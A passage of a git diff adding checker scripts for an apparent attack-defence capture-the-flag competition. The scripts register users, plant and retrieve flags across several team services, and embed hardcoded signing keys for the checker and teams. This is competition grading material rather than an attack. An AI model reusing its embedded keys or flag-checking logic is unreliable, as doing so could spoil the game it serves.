except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t put data', str(e)) + + checklib.post_flag_id(service_name, team_addr, username) + + # If OK + checklib.quit(checklib.Status.OK, 'OK') + + +# Get flag functions +def get_flag_pubdata(c, target_user, key): + try: + pubdata = c.get_public(target_user) + ct = bytes.fromhex(pubdata) + cipher = AES.new(key.encode(), AES.MODE_ECB) + pt = cipher.decrypt(ct) + if pt.decode() != data["flag"]: + checklib.quit(checklib.Status.DOWN, 'Incorrect public data for flag', + f"get_flag_pubdata pubdata={pubdata.hex()} key={key} pt={pt.hex()}") + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t read public data', str(e)) + + +def get_flag_AES(c, target_user, key): + flag = data["flag"].encode() + try: + ct = c.run_function(2, target_user, flag[:16]) + #print("run GC") + pubdata = c.get_public(target_user) + if ct.hex() != pubdata[:32]: + checklib.quit(checklib.Status.DOWN, 'Incorrect encryption function for flag', + f"get_flag_AES pubdata={pubdata.hex()} ct={ct.hex()}") + except Exception as e: + checklib.quit(checklib.Status.DOWN, + 'Can\'t run encryption function', str(e)) + + +# Check if the flag still exists, use the flag as the seed for random stuff as for put flag +def get_flag(): + flag = data["flag"] + try: + username, password = register_random_user() + token = get_token(username, password) + c = Client(team_addr, token) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Can\'t login', str(e)) + + checks = [get_flag_pubdata, get_flag_AES] + check = random.choice(checks) + + random.seed("123"+flag+"789") + key = random_string(16, 16) + username, password = get_random_creds() + check(c, username, key) + + # If OK + checklib.quit(checklib.Status.OK, 'OK') + + +if __name__ == "__main__": + + if action == checklib.Action.CHECK_SLA.name: + check_sla() + elif action == checklib.Action.PUT_FLAG.name: + put_flag() + elif action == checklib.Action.GET_FLAG.name: + get_flag() diff --git a/checkers/3/checklib.py b/checkers/3/checklib.py new file mode 100644 index 0000000..4c573fa --- /dev/null +++ b/checkers/3/checklib.py @@ -0,0 +1,53 @@ +import sys +from enum import Enum +import requests +import os + +TOKEN = 'PRIVATE-TOKEN' + + +class Status(Enum): + OK = 101 + DOWN = 104 + ERROR = 110 + + +class Action(Enum): + CHECK_SLA = 'CHECK_SLA' + PUT_FLAG = 'PUT_FLAG' + GET_FLAG = 'GET_FLAG' + + def __str__(self): + return str(self.value) + + +def get_data(): + data = { + 'action': os.environ['ACTION'], + 'teamId': os.environ['TEAM_ID'], + 'round': os.environ['ROUND'] + } + + if data['action'] == Action.PUT_FLAG.name or data['action'] == Action.GET_FLAG.name: + data['flag'] = os.environ['FLAG'] + + return data + + +def quit(exit_code, comment='', debug=''): + if isinstance(exit_code, Status): + exit_code = exit_code.value + + print(comment) + print(debug, file=sys.stderr) + exit(exit_code) + + +def post_flag_id(service_id, team_id, flag_id): + requests.post('http://flagid:8081/postFlagId', json={ + 'token': TOKEN, + 'serviceId': service_id, + 'teamId': team_id, + 'round': int(os.environ['ROUND']), + 'flagId': flag_id + }) diff --git a/checkers/3/service2_client.py b/checkers/3/service2_client.py new file mode 100644 index 0000000..497c204 --- /dev/null +++ b/checkers/3/service2_client.py @@ -0,0 +1,66 @@ +import authlib +from pwn import * + +context.log_level = "error" + +class Client(): + def __init__(self, server_ip, server_port, username, password, service): + self.server_addr = server_ip + self.server_port = server_port + self.username = username + self.password = password + self.service = service + self.auth_token = None + self.shared_key = None + + def open_connection(self): + s = remote(self.server_addr, self.server_port) + assert s.recvline(False) == b"HELLO" + s.sendline(b"HELLO") + assert s.recvline(False) == b"OK" + return s + + def register(self): + s = self.open_connection() + s.sendline(b"REG") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(self.password.encode()) + resp = s.recvline(False) + s.close() + if resp != b"OK": + return False + return True + + def login(self): + auth = authlib.AuthClient(self.username, self.password) + initial_values = auth.get_starting_values() + s = self.open_connection() + s.sendline(b"AUTH") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(initial_values.encode()) + intermediate_values = s.recvline(False).decode() + final_values = auth.get_final_values(intermediate_values) + s.sendline(final_values.encode()) + self.auth_token = s.recvline(False).decode() + self.shared_key = auth.get_shared_key() + s.close() + return True + + def get_token(self): + token_client = authlib.TicketClient(self.username, self.service, self.auth_token, self.shared_key) + user_token = token_client.get_user_token() + s = self.open_connection() + s.sendline(b"TOKEN") + assert s.recvline(False) == b"OK" + s.sendline(user_token.encode() + b"." + self.auth_token.encode()) + key_token, service_token = s.recvline(False).decode().split(".") + s.close() + return token_client.finalize_token(key_token, service_token) diff --git a/checkers/4/.gitignore b/checkers/4/.gitignore new file mode 100644 index 0000000..07f43b8 --- /dev/null +++ b/checkers/4/.gitignore @@ -0,0 +1 @@ +data/* \ No newline at end of file diff --git a/checkers/4/authlib.cpython-39-x86_64-linux-gnu.so b/checkers/4/authlib.cpython-39-x86_64-linux-gnu.so new file mode 100755 index 0000000..3b6ed49 Binary files /dev/null and b/checkers/4/authlib.cpython-39-x86_64-linux-gnu.so differ diff --git a/checkers/4/checker.py b/checkers/4/checker.py new file mode 100644 index 0000000..2ac7baf --- /dev/null +++ b/checkers/4/checker.py @@ -0,0 +1,326 @@ +#!/usr/bin/env python3 + +# Do not make modification to checklib.py (except for debug), it can be replaced at any time +import checklib +import requests +import random +import string +from hashlib import sha256 +import json +import os +import functools +from bs4 import BeautifulSoup +import errno +os.environ["PWNLIB_NOTERM"] = "1" +from service2_client import Client as AuthClient + +data = checklib.get_data() +action = data['action'] +rd = data['round'] +team_id = data['teamId'] +service_name = "ExamPortal" + +port = 1237 +auth_port = 1234 +team_ip = f"10.60.{team_id}.1" +team_addr = f"http://{team_ip}:{port}" + + +# Create directory to store round data. +data_dir = 'data' +try: + os.makedirs(data_dir) +except OSError as e: + if e.errno != errno.EEXIST: + raise + + +# Read stored data for team-round +def read_round_data(): + try: + fl = sha256(data['flag'].encode()).hexdigest() + with open(f'{data_dir}/{team_id}-{fl}.json', 'r') as f: + raw = f.read() + return json.loads(raw) + except (FileNotFoundError, json.decoder.JSONDecodeError): + return {} + + +# Store data for team-round +def store_round_data(d): + raw = json.dumps(d) + fl = sha256(data['flag'].encode()).hexdigest() + + with open(f'{data_dir}/{team_id}-{fl}.json', 'w') as f: + f.write(raw) + + +def random_string(min, max): + letters = string.ascii_letters + string.digits + return ''.join(random.choice(letters) for i in range(random.randint(min, max))) + + +# Auth stuff +def get_random_creds(): + username = random_string(8, 24) + password = random_string(8, 24) + return username, password + + +def register_random_user(): + username, password = get_random_creds() + register_user(username, password) + return username, password + + +def register_user(username, password): + try: + c = AuthClient(team_ip, auth_port, username, password, "3") + c.register() + except Exception as e: + checklib.quit(checklib.Status.DOWN, + 'Can\'t register user on auth service', str(e)) + + +def get_token(username, password): + try: + c = AuthClient(team_ip, auth_port, username, password, "3") + c.login() + token = c.get_token() + return token + except Exception as e: + checklib.quit(checklib.Status.DOWN, + 'Can\'t get a token from auth service', str(e)) + + +def get_sess(): + s = requests.Session() + s.request = functools.partial(s.request, timeout=5) + with open('user_agents.txt', 'r') as f: + ua_list = f.readlines() + s.headers.update({'User-Agent': random.choice(ua_list)[:-1]}) + return s + + +def do_login(sess, token, tfa=None): + try: + r = sess.post(team_addr+"/login.php", + data={"token": token, "2fa": tfa}) + if "Token verification failed" in r.text: + checklib.quit(checklib.Status.DOWN, 'Token decoding failed', + f"do_login {team_addr}/login.php (token={token}, 2fa={tfa}): {r.text}") + if "Authentication failed!" in r.text: + checklib.quit(checklib.Status.DOWN, 'Can\'t login', + f"do_login {team_addr}/login.php (token={token}, 2fa={tfa}): {r.text}") + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Login failed', + f"do_login (token={token}, tfa={tfa}): {e}") + + +# Check SLA +def check_sla(): + + sess = get_sess() + username, password = register_random_user() + token = get_token(username, password) + tfa = None + if random.randrange(2) == 0: + tfa = random_string(10, 10) + + try: + do_login(sess, token, tfa) + + r = sess.get(team_addr) + if username not in r.text: + checklib.quit(checklib.Status.DOWN, 'Can\'t login', + f"do_login {team_addr}/index.php : {r.text}") + + r = sess.get(team_addr+"/exam_list.php") + if r.status_code != 200: + checklib.quit(checklib.Status.DOWN, 'Can\'t list exams', + f"check_sla {team_addr}/exam_list.php : {r.status_code}\n{r.text}") + + if tfa is not None: + sess = get_sess() + do_login(sess, token, tfa) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Login failed', f"check_sla : {e}") + + checklib.quit(checklib.Status.OK, 'OK') + + +QQ = [ + {"question": "What is the answer?", "answers": [ + "42", "The onion", "Yes", "answer"]}, + {"question": "Is pwn funny?", "answers": ["no", "no", "no", "no"]}, + {"question": "What's the best post-quantum candidate?", + "answers": ["NTRU", "McEliece", "SIKE", "Rainbow"]}, + {"question": "What's the best pwning tool?", "answers": [ + "gef", "AFL++", "pwntools", "calc.exe"]}, + {"question": "This website is vulnerable to:", "answers": [ + "SQLi", "XSS", "CSRF", "Social engineering"]}, + {"question": "What's your favourite CVE?", "answers": [ + "CVE-2021-44228", "CVE-2022-0778", "CVE-2021-26855", "CVE-2014-0160"]}, + {"question": "Which one of the following describes spam?", "answers": ["Gathering information about a person or organisation without their knowledge", + "Performing an unauthorised, usually malicious, action such as erasing files", "Putting unnecessary load on the network by making copies of files", "Sending unwanted bulk messages"]}, + {"question": "Which one of the following describes a computer hacker?", "answers": ["A skilled programmer who uses authorised access to exploit information available on a computer", + "A skilled programmer who secretly invades computers without authorisation", "A skilled programmer who writes programs to train new employees", "A skilled programmer who helps in the installation of new software for an organisation"]}, + {"question": "Which one of the following should be used to change your password?", "answers": [ + "Control Panel", "Anti-virus software", "Windows Firewall", "Internet Explorer"]}, + {"question": "Which one of the following would be considered the BEST way to store a PIN number?", "answers": [ + "Keep a written note of it with you bank cards", "Store it on your computer", "Memorise it", "Keep a written note of it in your office drawer"]}, + {"question": "What information do you need to set up a wireless access point?", + "answers": ["SSID", "MAC address", "IP address", "ARP"]}, + {"question": "Which of the following is a password hashing algorithm?", + "answers": ["AES", "MD4", "PGP", "3DES"]}, + {"question": "Which of the following is a private search engine?", + "answers": ["Bing", "Google", "Duckduckgo", "Yahoo"]}, + {"question": "Which cybersecurity principle is most important when attempting to trace the source of malicious activity?", + "answers": ["Availability", "Integrity", "Nonrepudiation", "Confidentiality"]}, + {"question": "Updates in cloud-computing environments can be rolled out quickly because the environment is:", + "answers": ["Homogeneous", "Distributed", "Diversified", "Secure"]}, + {"question": "The attack mechanism directed against a system is commonly called a(n):", "answers": [ + "Exploit", "Vulnerability", "Payload", "Attack vector"]}, + {"question": "If security is a real concern on your network, what length do most experts recommend as the minimum for password length?", + "answers": ["10", "9", "8", "6"]}, + {"question": "Which of the following is an asymmetric algorithm based on calculating logarithms?", + "answers": ["ECC", "Diffie-Hellman", "El Gamal", "RSA"]} +] +NAMES = ["Machine learning", "Quantum cryptography", "Biometrics", "Network Security", "Law and data", "Digital forensics", "Mobile and IOT security", "Smart contracts hacking", "Wireless networks", + "Big data computing", "APT monitoring", "Cyber threat analysis", "Advanced reverse engineering", "Financial Accounting", "Virtualization & Cloud Security", "Ethical Hacking", "Malware Analysis"] + + +def create_random_exam(): + name = random.choice(NAMES) + " " + str(random.randint(1, 4)) + questions = random.sample(QQ, 10) + correct = random.choices(["A", "B", "C", "D"], k=10) + return name, questions, correct + + +def check_correct_in_page(html, answers, correct): + # print(html) + soup = BeautifulSoup(html, 'html.parser') + html_ans = soup.find_all("ul")[1:] + assert len(html_ans) == len(answers) + for i, x in enumerate(html_ans): + cur_ans = x.find_all("li") + # print(cur_ans) + assert len(cur_ans) == 4 + for j, y in enumerate(cur_ans): + val = y.text.strip() + assert val == answers[i][j] + if ["A", "B", "C", "D"].index(correct[i]) == j: + exp_class = "bg-success" + else: + exp_class = "bg-danger" + assert exp_class == y["class"][2] + + +# Put the flag using the flag as the seed for random stuff +def put_flag(): + flag = data['flag'] + + sess = get_sess() + username, password = register_random_user() + token = get_token(username, password) + tfa = random_string(10, 10) + do_login(sess, token, tfa) + + name, questions, correct = create_random_exam() + + exam = {} + exam["name"] = name + exam["prize"] = flag + for i in range(10): + exam[f"question_{i}"] = questions[i]["question"] + exam[f"correct_{i}"] = correct[i] + assert len(questions[i]["answers"]) == 4 + for j in range(4): + exam[f"answer_{i}_{j}"] = questions[i]["answers"][j] + try: + r = sess.post(team_addr+"/exam_create.php", data=exam) + if r.status_code != 200: + checklib.quit(checklib.Status.DOWN, 'Can\'t create exam', + f"put_flag {team_addr}/exam_create.php (exam={exam}): {r.status_code}\n{r.text}") + id = r.url.split("=")[1] + if "Unauthorized" in r.text or "No such exam" in r.text: + checklib.quit(checklib.Status.DOWN, 'Can\'t view exam', + f"put_flag {team_addr}/exam_create.php : {r.status_code}\n{r.text}") + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Error in creating exam', str(e)) + + store_round_data({"creds": {"username": username, "password": password, "tfa": tfa}, "exam": { + "id": id, "name": name, "questions": questions, "correct": correct}}) + + try: + check_correct_in_page(r.text, [x["answers"] + for x in questions], correct) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Malformed exam', str(e)) + + checklib.post_flag_id(service_name, team_ip, id) + + # If OK + checklib.quit(checklib.Status.OK, 'OK') + + +def get_flag_view_exam(exam, creds): + id, name, questions, correct = exam["id"], exam["name"], exam["questions"], exam["correct"] + token, tfa = creds + sess = get_sess() + do_login(sess, token, tfa) + r = sess.get(team_addr+"/exam_view.php", params={"id": id}) + if "Unauthorized" in r.text or "No such exam" in r.text: + checklib.quit(checklib.Status.DOWN, 'Can\'t view exam', + f"get_flag_view_exam {team_addr}/exam_view.php (id={id}): {r.status_code}\n{r.text}") + try: + check_correct_in_page(r.text, [x["answers"] + for x in questions], correct) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Malformed exam', str(e)) + + +def get_flag_solve_exam(exam, creds): + id, name, questions, correct = exam["id"], exam["name"], exam["questions"], exam["correct"] + username, password = creds + token = get_token(username, password) + sess = get_sess() + do_login(sess, token, None) + exam_ans = {"id": id, "answers": correct} + r = sess.post(team_addr+"/exam_submit.php", json=exam_ans) + if data["flag"] not in r.json()["msg"]: + checklib.quit(checklib.Status.DOWN, 'Can\'t solve exam', + f"get_flag_solve_exam {team_addr}/exam_submit.php (exam_ans={exam_ans}): {r.status_code}\n{r.text}") + + +# Check if the flag still exists, use the flag as the seed for random stuff as for put flag +def get_flag(): + round_data = read_round_data() + username = round_data["creds"]["username"] + password = round_data["creds"]["password"] + tfa = round_data["creds"]["tfa"] + exam = round_data["exam"] + check = random.randrange(2) + + try: + if check == 0: + token = get_token(username, password) + get_flag_view_exam(exam, (token, tfa)) + if check == 1: + u2, p2 = register_random_user() + get_flag_solve_exam(exam, (u2, p2)) + except Exception as e: + checklib.quit(checklib.Status.DOWN, 'Get flag failed', str(e)) + + # If OK + checklib.quit(checklib.Status.OK, 'OK') + + +if __name__ == "__main__": + + if action == checklib.Action.CHECK_SLA.name: + check_sla() + elif action == checklib.Action.PUT_FLAG.name: + put_flag() + elif action == checklib.Action.GET_FLAG.name: + get_flag() diff --git a/checkers/4/checklib.py b/checkers/4/checklib.py new file mode 100644 index 0000000..4c573fa --- /dev/null +++ b/checkers/4/checklib.py @@ -0,0 +1,53 @@ +import sys +from enum import Enum +import requests +import os + +TOKEN = 'PRIVATE-TOKEN' + + +class Status(Enum): + OK = 101 + DOWN = 104 + ERROR = 110 + + +class Action(Enum): + CHECK_SLA = 'CHECK_SLA' + PUT_FLAG = 'PUT_FLAG' + GET_FLAG = 'GET_FLAG' + + def __str__(self): + return str(self.value) + + +def get_data(): + data = { + 'action': os.environ['ACTION'], + 'teamId': os.environ['TEAM_ID'], + 'round': os.environ['ROUND'] + } + + if data['action'] == Action.PUT_FLAG.name or data['action'] == Action.GET_FLAG.name: + data['flag'] = os.environ['FLAG'] + + return data + + +def quit(exit_code, comment='', debug=''): + if isinstance(exit_code, Status): + exit_code = exit_code.value + + print(comment) + print(debug, file=sys.stderr) + exit(exit_code) + + +def post_flag_id(service_id, team_id, flag_id): + requests.post('http://flagid:8081/postFlagId', json={ + 'token': TOKEN, + 'serviceId': service_id, + 'teamId': team_id, + 'round': int(os.environ['ROUND']), + 'flagId': flag_id + }) diff --git a/checkers/4/service2_client.py b/checkers/4/service2_client.py new file mode 100644 index 0000000..497c204 --- /dev/null +++ b/checkers/4/service2_client.py @@ -0,0 +1,66 @@ +import authlib +from pwn import * + +context.log_level = "error" + +class Client(): + def __init__(self, server_ip, server_port, username, password, service): + self.server_addr = server_ip + self.server_port = server_port + self.username = username + self.password = password + self.service = service + self.auth_token = None + self.shared_key = None + + def open_connection(self): + s = remote(self.server_addr, self.server_port) + assert s.recvline(False) == b"HELLO" + s.sendline(b"HELLO") + assert s.recvline(False) == b"OK" + return s + + def register(self): + s = self.open_connection() + s.sendline(b"REG") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(self.password.encode()) + resp = s.recvline(False) + s.close() + if resp != b"OK": + return False + return True + + def login(self): + auth = authlib.AuthClient(self.username, self.password) + initial_values = auth.get_starting_values() + s = self.open_connection() + s.sendline(b"AUTH") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(initial_values.encode()) + intermediate_values = s.recvline(False).decode() + final_values = auth.get_final_values(intermediate_values) + s.sendline(final_values.encode()) + self.auth_token = s.recvline(False).decode() + self.shared_key = auth.get_shared_key() + s.close() + return True + + def get_token(self): + token_client = authlib.TicketClient(self.username, self.service, self.auth_token, self.shared_key) + user_token = token_client.get_user_token() + s = self.open_connection() + s.sendline(b"TOKEN") + assert s.recvline(False) == b"OK" + s.sendline(user_token.encode() + b"." + self.auth_token.encode()) + key_token, service_token = s.recvline(False).decode().split(".") + s.close() + return token_client.finalize_token(key_token, service_token) diff --git a/checkers/4/user_agents.txt b/checkers/4/user_agents.txt new file mode 100644 index 0000000..ff9b336 --- /dev/null +++ b/checkers/4/user_agents.txt @@ -0,0 +1 @@ +python-requests/2.28.0 diff --git a/checkers/5/checker.py b/checkers/5/checker.py new file mode 100644 index 0000000..949beac --- /dev/null +++ b/checkers/5/checker.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python3 +import os + +os.environ["FLAG_STORE"] = "1" +os.environ["PWNLIB_NOTERM"] = "1" + +from service3_common import * diff --git a/checkers/5/checklib.py b/checkers/5/checklib.py new file mode 100644 index 0000000..4c573fa --- /dev/null +++ b/checkers/5/checklib.py @@ -0,0 +1,53 @@ +import sys +from enum import Enum +import requests +import os + +TOKEN = 'PRIVATE-TOKEN' + + +class Status(Enum): + OK = 101 + DOWN = 104 + ERROR = 110 + + +class Action(Enum): + CHECK_SLA = 'CHECK_SLA' + PUT_FLAG = 'PUT_FLAG' + GET_FLAG = 'GET_FLAG' + + def __str__(self): + return str(self.value) + + +def get_data(): + data = { + 'action': os.environ['ACTION'], + 'teamId': os.environ['TEAM_ID'], + 'round': os.environ['ROUND'] + } + + if data['action'] == Action.PUT_FLAG.name or data['action'] == Action.GET_FLAG.name: + data['flag'] = os.environ['FLAG'] + + return data + + +def quit(exit_code, comment='', debug=''): + if isinstance(exit_code, Status): + exit_code = exit_code.value + + print(comment) + print(debug, file=sys.stderr) + exit(exit_code) + + +def post_flag_id(service_id, team_id, flag_id): + requests.post('http://flagid:8081/postFlagId', json={ + 'token': TOKEN, + 'serviceId': service_id, + 'teamId': team_id, + 'round': int(os.environ['ROUND']), + 'flagId': flag_id + }) diff --git a/checkers/5/cmd_paths.py b/checkers/5/cmd_paths.py new file mode 100644 index 0000000..bdafd51 --- /dev/null +++ b/checkers/5/cmd_paths.py @@ -0,0 +1,41 @@ +cmd_paths = { + "or" : "lllll", + "add" : "llll", + "dec" : "lllr", + "and" : "lll", + "dup" : "llrll", + "hex" : "llrl", + "oct" : "llrr", + "mul" : "llr", + "div" : "ll", + "ver" : "lrlll", + "xor" : "lrll", + "eval" : "lrlr", + "drop" : "lrl", + "pick" : "lrrll", + "quit" : "lrrl", + "time" : "lrrr", + "swap" : "lrr", + "help" : "lr", + "sub" : "l", + "clear" : "rllll", + "ps_on" : "rlll", + "random" : "rllr", + "ps_off" : "rll", + "set_var" : "rlrll", + "debug_on" : "rlrl", + "next_base" : "rlrr", + "debug_off" : "rlr", + "get_var" : "rl", + "todohxd" : "rrlll", + "id_to_ints" : "rrll", + "int_to_str" : "rrlr", + "ints_to_id" : "rrl", + "ints_to_str" : "rrrl", + "time_to_str" : "rrrr", + "str_to_ints" : "rrr", + "str_to_int" : "rr", + "ps_status" : "r", + "vars" : "", +} + diff --git a/checkers/5/cmd_tree.py b/checkers/5/cmd_tree.py new file mode 100644 index 0000000..c7f56cb --- /dev/null +++ b/checkers/5/cmd_tree.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python3 + +commands = [ + ("dup", " [n]", "Duplicate the top of the stack n times (default n=1)"), + ("swap", "", "Swap the top two items"), + ("pick", " n", "Place a copy of the n-th item on the top"), + ("help", "", "Print this help"), + ("drop", "", "Drop the top element"), + ("clear", "", "Drop all elements"), + ("get_var", "", "Get the value of a variable; the identifier is the top element"), + ("set_var", "", "Set the value of a variable; the identifier is the top element, the value is the 2nd element",), + ("[todo]hxd", "", None), + ("debug_on", "", "Enable debug-mode (only available in development-mode)"), + ("debug_off", "", "Disable debug-mode (only available in development-mode)"), + ("vars", "", "Print all the variables (only available in debug-mode)"), + ("add", "", "Add the top two elements"), + ("sub", "", "Subtract the top two elements"), + ("div", "", "Divide the top two elements"), + ("mul", "", "Multiply the top two elements"), + ("and", "", "Bitwise-And of the top two elements"), + ("or", "", "Bitwise-Or of the top two elements"), + ("xor", "", "Bitwise-Xor of the top two elements"), + ("quit", " (or )", "Quit"), + ("random", "", "Push a random integer"), + ("time", "", "Push the Unix time, as an integer"), + ("time_to_str", "", "Convert the Unix time on top of the stack to a string"), + ("dec", "", "Print integers on the stack in decimal"), + ("hex", "", "Print integers on the stack in hexadecimal"), + ("oct", "", "Print integers on the stack in octal"), + ("next_base", "", "Switch to the next base; that is, cycle among dec/hex/oct modes",), + ("int_to_str", "", "Convert the integer on top of the stack to a string"), + ("str_to_int", "", "Convert the string on top of the stack to an integer"), + ("eval", "", "Execute the command corresponding to the integer on top of the stack",), + ("ps_on", "", "Automatically print the stack content (default)"), + ("ps_off", "", "Do not automatically print the stack content"), + ("ps_status", "", "Return the status of automatic stack printing"), + ("ints_to_id", "", "Convert four integers to an identifier"), + ("ints_to_str", "", "Convert four integers to a string"), + ("str_to_ints", "", "Convert a string into four integers"), + ("id_to_ints", "", "Convert an identifier into four integers"), + ("ver", "", "Print version/build information"), +] + + +def to_int(s): + i = 0 + for c in s: + i <<= 5 + i |= ord(c) & 31 + return i + + +commands = [(c[0], to_int(c[0]), c[1], c[2]) for c in commands] +commands.sort(key=lambda x: x[1]) + +print("static void cmd_help()\n{\n\tprintf(") +for c in sorted(commands, key=lambda c: c[0]): + if c[3] is None: + continue + cmd = c[0].upper() + c[2] + print( + '\t YEL "' + + (cmd + " ") + + '" reset "' + + "." * (20 - len(cmd)) + + " " + + c[3] + + '\\n"' + ) +print('\t"\\nCommands must begin with an uppercase letter, but are otherwise case-insensitive.\\n"') +print('\t"Identifiers start with a lowecase letter, and are case-sensitive.\\n"') +print('\t"Integer literals can be decimal, octal (prefix: \\"0\\") and hexadecimal (prefix: \\"0x\\").\\n"') +print('\t"String literals can be enclosed in either single or double quotes.\\n"') +print('\t"Arithmetic/bitwise operations can be abbreviated with +, -, and so on.\\n"') +print('"\\n"') +print("\t);\n}\n") + +# print(commands) + +all_paths = [] + + +def visit(i, j, path): + if j - i < 1: + return "0" + mid = (i + j) // 2 + left = visit(i, mid, path + "l") + right = visit(mid + 1, j, path + "r") + me = commands[mid] + my_name = me[0].replace("[", "").replace("]", "") + print(f"cmd_tree_node node_{my_name} = {{ {me[1]}, cmd_{my_name}, {left}, {right} }}; /* {path} */") + all_paths.append(f'\t"{my_name}" : "{path}",') + return f"&node_{my_name}" + + +print(f'cmd_tree_node *cmd_tree_root = {visit(0, len(commands), "")};') + +with open("cmd_paths.py", "w") as f: + print("cmd_paths = {", file=f) + print("\n".join(all_paths), file=f) + print("}\n", file=f) diff --git a/checkers/5/service3_common.py b/checkers/5/service3_common.py new file mode 100644 index 0000000..4326be6 --- /dev/null +++ b/checkers/5/service3_common.py @@ -0,0 +1,736 @@ +#!/bin/env python3 +import checklib +import os +import pwn +import logging +import hashlib +import ed25519_blake2b +import random +import ctypes +import string +import sys +from cmd_paths import cmd_paths +# from pwn import log + +SK_CHECKER = ed25519_blake2b.SigningKey( + b"\xb5\x18\x9fg\r\xd2k\x83v\xd3\xf5\xc4\x02\x17\xbfT\xc9\xd8o\xc9\xc1\xde$\xbc\xc9\xd5\xb3\xd6.\x9d(\x9c") + +_team1_skey = ed25519_blake2b.SigningKey( + b"\xc5\x07q\xabZ\xcea\x80\xffm\xc5-\xd1r\x05\xd8\xac\x15\xc7j\x1ar\x9b\xdcr\x95\x98\x96A\x9e\x1ei") +_team2_skey = ed25519_blake2b.SigningKey( + b"\xe4Z\r\x85\x10/Lb\xf5<}\x03\xb2E\xf5/\x84\xb2\xa1Rd\x1e\xcb\xe1\xdfHwE\xb8\x82\\\n") +_team3_skey = ed25519_blake2b.SigningKey( + b"\xa6\xe2\xd9R\x93\x04t\x15\xe0\x83\xd8\xdcw\xdf\xd7#\xac\xec\xb2\xd8yJ\x00\xe9\x9c\x96\xf2O]U-\x0f") +_team4_skey = ed25519_blake2b.SigningKey( + b"\xd1\x84\x05(\x99W\x9e\xc1\xdcX\x05YuI\x89F\r\x17\xdd\x07\xcc\xcfH\xe5\xa4\x9f!#c\xd8\xd2\xf2") +_team5_skey = ed25519_blake2b.SigningKey( + b"/G\x92\xc8|\xa3\x06{\xbe\xab\x1d\x82\xd9~\xa2\xf5\xf4_\xcabi\xfc\xbag\x14\xd9\x85\xc9\xb4\xf4\xb2\x1c") +_team6_skey = ed25519_blake2b.SigningKey( + b"\x8bP\x1c\xec\xa0\x16\x00\xe3\xdc'\x14hliW\xd8\x8b\xf7\xe3\x07$y%\xd5\xfa\xa7\xb4\xe37\xdcV\x93") +_team7_skey = ed25519_blake2b.SigningKey( + b'\xed|^\xd4\x95$\x8d\xdb\x97\xfa~"\xdc\x9bLU\r1\xbc5>\xe5}L\xcf\xfd\x88\xd2\x11\x94\xad\x19') +_teams_signing_keys = [_team1_skey, _team2_skey, _team3_skey, + _team4_skey, _team5_skey, _team6_skey, _team7_skey] + +MIN_LONG = -2**63 +MAX_LONG = 2**63-1 + +FLAG_STORE = int(os.environ["FLAG_STORE"]) +assert FLAG_STORE == 1 or FLAG_STORE == 2 + +pwn.context.timeout = 10 +pwn.context.log_level = logging.ERROR +# pwn.context.log_level = logging.DEBUG + +if __name__ != '__main__': + data = checklib.get_data() + ACTION = data["action"] + ROUND = data["round"] +else: + assert "LOCALHOST_RULEZ" in os.environ + ROUND = str(random.randint(0, 200)) + + +def get_team_ip(): + if "LOCALHOST_RULEZ" in os.environ: + return "127.0.0.1" + return "10.60." + data["teamId"] + ".1" + + +def get_team_port(): + if "LOCALHOST_RULEZ" in os.environ: + return 1337 + return 1337 # FIXME + + +def connect_to_service(): + try: + return pwn.remote(get_team_ip(), get_team_port()) + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot connect", str(e)) + + +def grab_banner(io): + try: + io.recvuntil( + b"_______ ______ ____ ____ _____ | | ____ __ __ | | _____ _/ |_ ____ _______ \n") + io.recvuntil(b"The value stack is empty") + io.recvuntil(b"Ready") + except Exception as e: + checklib.quit(checklib.Status.DOWN, + "Cannot grab banner/prompt", str(e)) + + +def test_get_var(io): + try: + r = int(ROUND) + except: + # log.warning("Cannot convert ROUND to integer") + return True + try: + var_name = _gen_var_name(f'{r-1}') + # log.info(f'Testing get_var({var_name})') + commands = "" + commands += f"{var_name}{s()}" + commands += f"Get_var{s()}" + if rand_bool(): + commands += f"Clear\n" + else: + commands += f"Drop\n" + io.send(commands.encode()) + except SystemExit: + raise + except Exception as e: + checklib.quit(checklib.Status.DOWN, "Cannot get a variable", + f"Exception: {type(e)} {str(e)}") + return True + + +def _gen_var_name(r): + hash = hashlib.sha256(r.encode() + b"birubiru") + not_so_random = random.Random(hash.digest()) + if not_so_random.randint(0, 2) == 0: + var_name = ( + not_so_random.choice(string.ascii_lowercase + "_") + + "".join(not_so_random.sample(string.ascii_letters + + string.digits + "_", random.randint(0, 31))) + ) + else: + var_name = not_so_random.choice(string.ascii_lowercase) + return var_name + + +def _gen_var_value(r): + hash = hashlib.sha256(r.encode() + b"pippero") + not_so_random = random.Random(hash.digest()) + if not_so_random.randint(0, 2) == 0: + var_value = "".join(not_so_random.sample( + string.ascii_letters + string.digits + "_", not_so_random.randint(0, 32))) + elif not_so_random.randint(0, 1) == 0: + var_value = not_so_random.randint(MIN_LONG, MAX_LONG) + else: + var_value = not_so_random.randint(0, 255) + return var_value + + +def test_set_var(io): + try: + var_name = _gen_var_name(ROUND) + var_value = _gen_var_value(ROUND) + # log.info(f'Testing set_var({var_name}, {var_value})') + commands = f"{repr(var_value)}{s()}" + commands += f"{var_name}{s()}" + commands += f"Set_var\n" + # with open("/tmp/test_commands", "a") as f: + # f.write(commands) + io.send(commands.encode()) + output = io.recvuntil(b"you must tell me the signature for:\n") + if b'you must tell' not in output: + # print("\n\n---") + # print(output.decode()) + # print("--\n\n") + checklib.quit(checklib.Status.DOWN, "Cannot set a variable", + "Service doesn't ask for signature when using a random (team) key") + b = pwn.unhex(io.recvline().decode().replace( 